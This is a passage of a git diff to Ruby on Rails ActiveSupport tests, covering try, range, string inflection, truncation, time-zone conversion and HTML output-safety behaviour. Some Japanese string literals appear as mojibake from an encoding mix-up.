- assert_raise(NoMethodError) { @string.try!(method, 'llo', 'y') }
- end
-
- def test_valid_method
- assert_equal 5, @string.try(:size)
- end
-
- def test_argument_forwarding
- assert_equal 'Hey', @string.try(:sub, 'llo', 'y')
- end
-
- def test_block_forwarding
- assert_equal 'Hey', @string.try(:sub, 'llo') { |match| 'y' }
- end
-
- def test_nil_to_type
- assert_nil nil.try(:to_s)
- assert_nil nil.try(:to_i)
- end
-
- def test_false_try
- assert_equal 'false', false.try(:to_s)
- end
-
- def test_try_only_block
- assert_equal @string.reverse, @string.try { |s| s.reverse }
- end
-
- def test_try_only_block_nil
- ran = false
- nil.try { ran = true }
- assert_equal false, ran
- end
-
- def test_try_with_private_method_bang
- klass = Class.new do
- private
-
- def private_method
- 'private method'
- end
- end
-
- assert_raise(NoMethodError) { klass.new.try!(:private_method) }
- end
-
- def test_try_with_private_method
- klass = Class.new do
- private
-
- def private_method
- 'private method'
- end
- end
-
- assert_nil klass.new.try(:private_method)
- end
-end
diff --git a/activesupport/test/core_ext/proc_test.rb b/activesupport/test/core_ext/proc_test.rb
deleted file mode 100644
index c4d5592196..0000000000
--- a/activesupport/test/core_ext/proc_test.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/proc'
-
-class ProcTests < ActiveSupport::TestCase
- def test_bind_returns_method_with_changed_self
- assert_deprecated do
- block = Proc.new { self }
- assert_equal self, block.call
- bound_block = block.bind("hello")
- assert_not_equal block, bound_block
- assert_equal "hello", bound_block.call
- end
- end
-end
diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
index f0cdc0bfd4..f096328cee 100644
--- a/activesupport/test/core_ext/range_ext_test.rb
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -13,6 +13,12 @@ class RangeTest < ActiveSupport::TestCase
assert_equal "BETWEEN '2005-12-10 15:30:00' AND '2005-12-10 17:30:00'", date_range.to_s(:db)
end
+ def test_date_range
+ assert_instance_of Range, DateTime.new..DateTime.new
+ assert_instance_of Range, DateTime::Infinity.new..DateTime::Infinity.new
+ assert_instance_of Range, DateTime.new..DateTime::Infinity.new
+ end
+
def test_overlaps_last_inclusive
assert((1..5).overlaps?(5..10))
end
@@ -37,7 +43,7 @@ class RangeTest < ActiveSupport::TestCase
assert((1...10).include?(1...10))
end
- def test_should_include_other_with_exlusive_end
+ def test_should_include_other_with_exclusive_end
assert((1..10).include?(1...10))
end
@@ -49,7 +55,7 @@ class RangeTest < ActiveSupport::TestCase
assert((1...10) === (1...10))
end
- def test_should_compare_other_with_exlusive_end
+ def test_should_compare_other_with_exclusive_end
assert((1..10) === (1...10))
end
@@ -85,4 +91,35 @@ class RangeTest < ActiveSupport::TestCase
time_range_2 = Time.utc(2005, 12, 10, 17, 31)..Time.utc(2005, 12, 10, 18, 00)
assert !time_range_1.overlaps?(time_range_2)
end
+
+ def test_each_on_time_with_zone
+ twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+ assert_raises TypeError do
+ ((twz - 1.hour)..twz).each {}
+ end
+ end
+
+ def test_step_on_time_with_zone
+ twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+ assert_raises TypeError do
+ ((twz - 1.hour)..twz).step(1) {}
+ end
+ end
+
+ def test_include_on_time_with_zone
+ twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+ assert_raises TypeError do
+ ((twz - 1.hour)..twz).include?(twz)
+ end
+ end
+
+ def test_date_time_with_each
+ datetime = DateTime.now
+ assert(((datetime - 1.hour)..datetime).each {})
+ end
+
+ def test_date_time_with_step
+ datetime = DateTime.now
+ assert(((datetime - 1.hour)..datetime).step(1) {})
+ end
end
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index 6720ed42f0..0af207fae9 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -10,17 +10,12 @@ require 'active_support/time'
require 'active_support/core_ext/string/strip'
require 'active_support/core_ext/string/output_safety'
require 'active_support/core_ext/string/indent'
-
-module Ace
- module Base
- class Case
- end
- end
-end
+require 'time_zone_test_helpers'
class StringInflectionsTest < ActiveSupport::TestCase
include InflectorTestCases
include ConstantizeTestCases
+ include TimeZoneTestHelpers
def test_strip_heredoc_on_an_empty_string
assert_equal '', ''.strip_heredoc
@@ -65,6 +60,11 @@ class StringInflectionsTest < ActiveSupport::TestCase
assert_equal("blargles", "blargle".pluralize(2))
end
+ test 'pluralize with count = 1 still returns new string' do
+ name = "Kuldeep"
+ assert_not_same name.pluralize(1), name
+ end
+
def test_singularize
SingularToPlural.each do |singular, plural|
assert_equal(singular, plural.singularize)
@@ -87,6 +87,12 @@ class StringInflectionsTest < ActiveSupport::TestCase
assert_equal('capital', 'Capital'.camelize(:lower))
end
+ def test_dasherize
+ UnderscoresToDashes.each do |underscored, dasherized|
+ assert_equal(dasherized, underscored.dasherize)
+ end
+ end
+
def test_underscore
CamelToUnderscore.each do |camel, underscore|
assert_equal(underscore, camel.underscore)
@@ -156,59 +162,205 @@ class StringInflectionsTest < ActiveSupport::TestCase
end
end
+ def test_humanize_without_capitalize
+ UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+ assert_equal(human, underscore.humanize(capitalize: false))
+ end
+ end
+
+ def test_humanize_with_html_escape
+ assert_equal 'Hello', ERB::Util.html_escape("hello").humanize
+ end
+
def test_ord
assert_equal 97, 'a'.ord
assert_equal 97, 'abc'.ord
end
- def test_string_to_time
- assert_equal Time.utc(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time
- assert_equal Time.local(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time(:local)
- assert_equal Time.utc(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time
- assert_equal Time.local(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time(:local)
- assert_equal DateTime.civil(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time
- assert_equal Time.local_time(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time(:local)
- assert_equal Time.utc(2011, 2, 27, 23, 50), "2011-02-27 22:50 -0100".to_time
- assert_nil "".to_time
+ def test_starts_ends_with_alias
+ s = "hello"
+ assert s.starts_with?('h')
+ assert s.starts_with?('hel')
+ assert !s.starts_with?('el')
+
+ assert s.ends_with?('o')
+ assert s.ends_with?('lo')
+ assert !s.ends_with?('el')
end
- def test_string_to_datetime
- assert_equal DateTime.civil(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_datetime
- assert_equal 0, "2039-02-27 23:50".to_datetime.offset # use UTC offset
- assert_equal ::Date::ITALY, "2039-02-27 23:50".to_datetime.start # use Ruby's default start value
- assert_equal DateTime.civil(2039, 2, 27, 23, 50, 19 + Rational(275038, 1000000), "-04:00"), "2039-02-27T23:50:19.275038-04:00".to_datetime
- assert_nil "".to_datetime
+ def test_string_squish
+ original = %{\u205f\u3000 A string surrounded by various unicode spaces,
+ with tabs(\t\t), newlines(\n\n), unicode nextlines(\u0085\u0085) and many spaces( ). \u00a0\u2007}
+
+ expected = "A string surrounded by various unicode spaces, " +
+ "with tabs( ), newlines( ), unicode nextlines( ) and many spaces( )."
+
+ # Make sure squish returns what we expect:
+ assert_equal expected, original.squish
+ # But doesn't modify the original string:
+ assert_not_equal expected, original
+
+ # Make sure squish! returns what we expect:
+ assert_equal expected, original.squish!
+ # And changes the original string:
+ assert_equal expected, original
end
- def test_string_to_date
- assert_equal Date.new(2005, 2, 27), "2005-02-27".to_date
- assert_nil "".to_date
+ def test_string_inquiry
+ assert "production".inquiry.production?
+ assert !"production".inquiry.development?
end
- def test_access
- s = "hello"
- assert_equal "h", s.at(0)
+ def test_truncate
+ assert_equal "Hello World!", "Hello World!".truncate(12)
+ assert_equal "Hello Wor...", "Hello World!!".truncate(12)
+ end
+
+ def test_truncate_with_omission_and_separator
+ assert_equal "Hello[...]", "Hello World!".truncate(10, :omission => "[...]")
+ assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => ' ')
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => ' ')
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => ' ')
+ end
+
+ def test_truncate_with_omission_and_regexp_separator
+ assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => /\s/)
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => /\s/)
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => /\s/)
+ end
+
+ def test_truncate_words
+ assert_equal "Hello Big World!", "Hello Big World!".truncate_words(3)
+ assert_equal "Hello Big...", "Hello Big World!".truncate_words(2)
+ end
+
+ def test_truncate_words_with_omission
+ assert_equal "Hello Big World!", "Hello Big World!".truncate_words(3, :omission => "[...]")
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate_words(2, :omission => "[...]")
+ end
+
+ def test_truncate_words_with_separator
+ assert_equal "Hello<br>Big<br>World!...", "Hello<br>Big<br>World!<br>".truncate_words(3, :separator => '<br>')
+ assert_equal "Hello<br>Big<br>World!", "Hello<br>Big<br>World!".truncate_words(3, :separator => '<br>')
+ assert_equal "Hello\n<br>Big...", "Hello\n<br>Big<br>Wide<br>World!".truncate_words(2, :separator => '<br>')
+ end
+
+ def test_truncate_words_with_separator_and_omission
+ assert_equal "Hello<br>Big<br>World![...]", "Hello<br>Big<br>World!<br>".truncate_words(3, :omission => "[...]", :separator => '<br>')
+ assert_equal "Hello<br>Big<br>World!", "Hello<br>Big<br>World!".truncate_words(3, :omission => "[...]", :separator => '<br>')
+ end
+
+ def test_truncate_multibyte
+ assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
+ "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8).truncate(10)
+ end
+
+ def test_truncate_should_not_be_html_safe
+ assert !"Hello World!".truncate(12).html_safe?
+ end
+
+ def test_remove
+ original = "This is a good day to die"
+ assert_equal "This is a good day", original.remove(" to die")
+ assert_equal "This is a good day", original.remove(" to ", /die/)
+ assert_equal "This is a good day to die", original
+ end
+
+ def test_remove_for_multiple_occurrences
+ original = "This is a good day to die to die"
+ assert_equal "This is a good day", original.remove(" to die")
+ assert_equal "This is a good day to die to die", original
+ end
+
+ def test_remove!
+ original = "This is a very good day to die"
+ assert_equal "This is a good day to die", original.remove!(" very")
+ assert_equal "This is a good day to die", original
+ assert_equal "This is a good day", original.remove!(" to ", /die/)
+ assert_equal "This is a good day", original
+ end
+
+ def test_constantize
+ run_constantize_tests_on(&:constantize)
+ end
+
+ def test_safe_constantize
+ run_safe_constantize_tests_on(&:safe_constantize)
+ end
+end
+
+class StringAccessTest < ActiveSupport::TestCase
+ test "#at with Fixnum, returns a substring of one character at that position" do
+ assert_equal "h", "hello".at(0)
+ end
+
+ test "#at with Range, returns a substring containing characters at offsets" do
+ assert_equal "lo", "hello".at(-2..-1)
+ end
- assert_equal "llo", s.from(2)
- assert_equal "hel", s.to(2)
+ test "#at with Regex, returns the matching portion of the string" do
+ assert_equal "lo", "hello".at(/lo/)
+ assert_equal nil, "hello".at(/nonexisting/)
+ end
+
+ test "#from with positive Fixnum, returns substring from the given position to the end" do
+ assert_equal "llo", "hello".from(2)
+ end
+
+ test "#from with negative Fixnum, position is counted from the end" do
+ assert_equal "lo", "hello".from(-2)
+ end
+
+ test "#to with positive Fixnum, substring from the beginning to the given position" do
+ assert_equal "hel", "hello".to(2)
+ end
- assert_equal "h", s.first
- assert_equal "he", s.first(2)
- assert_equal "", s.first(0)
+ test "#to with negative Fixnum, position is counted from the end" do
+ assert_equal "hell", "hello".to(-2)
+ end
- assert_equal "o", s.last
- assert_equal "llo", s.last(3)
- assert_equal "hello", s.last(10)
- assert_equal "", s.last(0)
+ test "#from and #to can be combined" do
+ assert_equal "hello", "hello".from(0).to(-1)
+ assert_equal "ell", "hello".from(1).to(-2)
+ end
+ test "#first returns the first character" do
+ assert_equal "h", "hello".first
assert_equal 'x', 'x'.first
+ end
+
+ test "#first with Fixnum, returns a substring from the beginning to position" do
+ assert_equal "he", "hello".first(2)
+ assert_equal "", "hello".first(0)
+ assert_equal "hello", "hello".first(10)
assert_equal 'x', 'x'.first(4)
+ end
+ test "#first with Fixnum >= string length still returns a new string" do
+ string = "hello"
+ different_string = string.first(5)
+ assert_not_same different_string, string
+ end
+
+ test "#last returns the last character" do
+ assert_equal "o", "hello".last
assert_equal 'x', 'x'.last
+ end
+
+ test "#last with Fixnum, returns a substring from the end to position" do
+ assert_equal "llo", "hello".last(3)
+ assert_equal "hello", "hello".last(10)
+ assert_equal "", "hello".last(0)
assert_equal 'x', 'x'.last(4)
end
- def test_access_returns_a_real_string
+ test "#last with Fixnum >= string length still returns a new string" do
+ string = "hello"
+ different_string = string.last(5)
+ assert_not_same different_string, string
+ end
+
+ test "access returns a real string" do
hash = {}
hash["h"] = true
hash["hello123".at(0)] = true
@@ -234,77 +386,179 @@ class StringInflectionsTest < ActiveSupport::TestCase
hash["hello123".first(5)] = true
assert_equal %w(hello), hash.keys
end
+end
- def test_starts_ends_with_alias
- s = "hello"
- assert s.starts_with?('h')
- assert s.starts_with?('hel')
- assert !s.starts_with?('el')
+class StringConversionsTest < ActiveSupport::TestCase
+ include TimeZoneTestHelpers
- assert s.ends_with?('o')
- assert s.ends_with?('lo')
- assert !s.ends_with?('el')
+ def test_string_to_time
+ with_env_tz "Europe/Moscow" do
+ assert_equal Time.utc(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time(:utc)
+ assert_equal Time.local(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time
+ assert_equal Time.utc(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time(:utc)
+ assert_equal Time.local(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time
+ assert_equal Time.utc(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time(:utc)
+ assert_equal Time.local(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time
+ assert_equal Time.local(2011, 2, 27, 17, 50), "2011-02-27 13:50 -0100".to_time
+ assert_equal Time.utc(2011, 2, 27, 23, 50), "2011-02-27 22:50 -0100".to_time(:utc)
+ assert_equal Time.local(2005, 2, 27, 22, 50), "2005-02-27 14:50 -0500".to_time
+ assert_nil "".to_time
+ end
end
- def test_string_squish
- original = %{ A string with tabs(\t\t), newlines(\n\n), and
- many spaces( ). }
-
- expected = "A string with tabs( ), newlines( ), and many spaces( )."
+ def test_string_to_time_utc_offset
+ with_env_tz "US/Eastern" do
+ assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset
+ assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset)
+ assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset
+ assert_equal(-18000, "2005-02-27 22:50 -0100".to_time.utc_offset)
+ end
+ end
- # Make sure squish returns what we expect:
- assert_equal original.squish, expected
- # But doesn't modify the original string:
- assert_not_equal original, expected
+ def test_partial_string_to_time
+ with_env_tz "Europe/Moscow" do # use timezone which does not observe DST.
+ now = Time.now
+ assert_equal Time.local(now.year, now.month, now.day, 23, 50), "23:50".to_time
+ assert_equal Time.utc(now.year, now.month, now.day, 23, 50), "23:50".to_time(:utc)
+ assert_equal Time.local(now.year, now.month, now.day, 17, 50), "13:50 -0100".to_time
+ assert_equal Time.utc(now.year, now.month, now.day, 23, 50), "22:50 -0100".to_time(:utc)
+ end
+ end
- # Make sure squish! returns what we expect:
- assert_equal original.squish!, expected
- # And changes the original string:
- assert_equal original, expected
+ def test_standard_time_string_to_time_when_current_time_is_standard_time
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 1, 1))
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc)
+ end
end
- def test_string_inquiry
- assert "production".inquiry.production?
- assert !"production".inquiry.development?
+ def test_standard_time_string_to_time_when_current_time_is_daylight_savings
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 7, 1))
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc)
+ end
end
- def test_truncate
- assert_equal "Hello World!", "Hello World!".truncate(12)
- assert_equal "Hello Wor...", "Hello World!!".truncate(12)
+ def test_daylight_savings_string_to_time_when_current_time_is_standard_time
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 1, 1))
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc)
+ end
end
- def test_truncate_with_omission_and_seperator
- assert_equal "Hello[...]", "Hello World!".truncate(10, :omission => "[...]")
- assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => ' ')
- assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => ' ')
- assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => ' ')
+ def test_daylight_savings_string_to_time_when_current_time_is_daylight_savings
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 7, 1))
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc)
+ end
end
- def test_truncate_with_omission_and_regexp_seperator
- assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => /\s/)
- assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => /\s/)
- assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => /\s/)
+ def test_partial_string_to_time_when_current_time_is_standard_time
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 1, 1))
+ assert_equal Time.local(2012, 1, 1, 10, 0), "10:00".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 6, 0), "10:00 -0100".to_time
+ assert_equal Time.utc(2012, 1, 1, 11, 0), "10:00 -0100".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 -0500".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 -0500".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 5, 0), "10:00 UTC".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "10:00 PST".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "10:00 PST".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 12, 0), "10:00 PDT".to_time
+ assert_equal Time.utc(2012, 1, 1, 17, 0), "10:00 PDT".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 EST".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 EST".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 9, 0), "10:00 EDT".to_time
+ assert_equal Time.utc(2012, 1, 1, 14, 0), "10:00 EDT".to_time(:utc)
+ end
end
- def test_truncate_multibyte
- assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding('UTF-8'),
- "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8').truncate(10)
+ def test_partial_string_to_time_when_current_time_is_daylight_savings
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 7, 1))
+ assert_equal Time.local(2012, 7, 1, 10, 0), "10:00".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 7, 0), "10:00 -0100".to_time
+ assert_equal Time.utc(2012, 7, 1, 11, 0), "10:00 -0100".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 -0500".to_time
+ assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 -0500".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 6, 0), "10:00 UTC".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 14, 0), "10:00 PST".to_time
+ assert_equal Time.utc(2012, 7, 1, 18, 0), "10:00 PST".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "10:00 PDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "10:00 PDT".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 EST".to_time
+ assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 EST".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "10:00 EDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "10:00 EDT".to_time(:utc)
+ end
end
- def test_truncate_should_not_be_html_safe
- assert !"Hello World!".truncate(12).html_safe?
+ def test_string_to_datetime
+ assert_equal DateTime.civil(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_datetime
+ assert_equal 0, "2039-02-27 23:50".to_datetime.offset # use UTC offset
+ assert_equal ::Date::ITALY, "2039-02-27 23:50".to_datetime.start # use Ruby's default start value
+ assert_equal DateTime.civil(2039, 2, 27, 23, 50, 19 + Rational(275038, 1000000), "-04:00"), "2039-02-27T23:50:19.275038-04:00".to_datetime
+ assert_nil "".to_datetime
end
- def test_constantize
- run_constantize_tests_on do |string|
- string.constantize
- end
+ def test_partial_string_to_datetime
+ now = DateTime.now
+ assert_equal DateTime.civil(now.year, now.month, now.day, 23, 50), "23:50".to_datetime
+ assert_equal DateTime.civil(now.year, now.month, now.day, 23, 50, 0, "-04:00"), "23:50 -0400".to_datetime
end
- def test_safe_constantize
- run_safe_constantize_tests_on do |string|
- string.safe_constantize
- end
+ def test_string_to_date
+ assert_equal Date.new(2005, 2, 27), "2005-02-27".to_date
+ assert_nil "".to_date
+ assert_equal Date.new(Date.today.year, 2, 3), "Feb 3rd".to_date
end
end
@@ -315,22 +569,24 @@ class StringBehaviourTest < ActiveSupport::TestCase
end
class CoreExtStringMultibyteTest < ActiveSupport::TestCase
- UNICODE_STRING = 'ã“ã«ã¡ã‚'
- ASCII_STRING = 'ohayo'
- BYTE_STRING = "\270\236\010\210\245"
+ UTF8_STRING = 'ã“ã«ã¡ã‚'
+ ASCII_STRING = 'ohayo'.encode('US-ASCII')
+ EUC_JP_STRING = 'ã•ã‚ˆãªã‚‰'.encode('EUC-JP')
+ INVALID_UTF8_STRING = "\270\236\010\210\245"
def test_core_ext_adds_mb_chars
- assert_respond_to UNICODE_STRING, :mb_chars
+ assert_respond_to UTF8_STRING, :mb_chars
end
def test_string_should_recognize_utf8_strings
- assert UNICODE_STRING.is_utf8?
+ assert UTF8_STRING.is_utf8?
assert ASCII_STRING.is_utf8?
- assert !BYTE_STRING.is_utf8?
+ assert !EUC_JP_STRING.is_utf8?
+ assert !INVALID_UTF8_STRING.is_utf8?
end
def test_mb_chars_returns_instance_of_proxy_class
- assert_kind_of ActiveSupport::Multibyte.proxy_class, UNICODE_STRING.mb_chars
+ assert_kind_of ActiveSupport::Multibyte.proxy_class, UTF8_STRING.mb_chars
end
end
@@ -398,6 +654,29 @@ class OutputSafetyTest < ActiveSupport::TestCase
assert !@other_combination.html_safe?
end
+ test "Prepending safe onto unsafe yields unsafe" do
+ @string.prepend "other".html_safe
+ assert !@string.html_safe?
+ assert_equal @string, "otherhello"
+ end
+
+ test "Prepending unsafe onto safe yields escaped safe" do
+ other = "other".html_safe
+ other.prepend "<foo>"
+ assert other.html_safe?
+ assert_equal other, "&lt;foo&gt;other"
+ end
+
+ test "Deprecated #prepend! method is still present" do
+ other = "other".html_safe
+
+ assert_deprecated do
+ other.prepend! "<foo>"
+ end
+
+ assert_equal other, "&lt;foo&gt;other"
+ end
+
test "Concatting safe onto unsafe yields unsafe" do
@other_string = "other"
@@ -486,12 +765,6 @@ class OutputSafetyTest < ActiveSupport::TestCase
assert_equal 'foo'.to_yaml, 'foo'.html_safe.to_yaml(:foo => 1)
end
- test 'knows whether it is encoding aware' do
- assert_deprecated do
- assert 'ruby'.encoding_aware?
- end
- end
-
test "call to_param returns a normal string" do
string = @string.html_safe
assert string.html_safe?
@@ -514,6 +787,14 @@ class OutputSafetyTest < ActiveSupport::TestCase
string = "<b>hello</b>".html_safe
assert_equal string, ERB::Util.html_escape(string)
end
+
+ test "ERB::Util.html_escape_once only escapes once" do
+ string = '1 < 2 &amp; 3'
+ escaped_string = "1 &lt; 2 &amp; 3"
+
+ assert_equal escaped_string, ERB::Util.html_escape_once(string)
+ assert_equal escaped_string, ERB::Util.html_escape_once(escaped_string)
+ end
end
class StringExcludeTest < ActiveSupport::TestCase
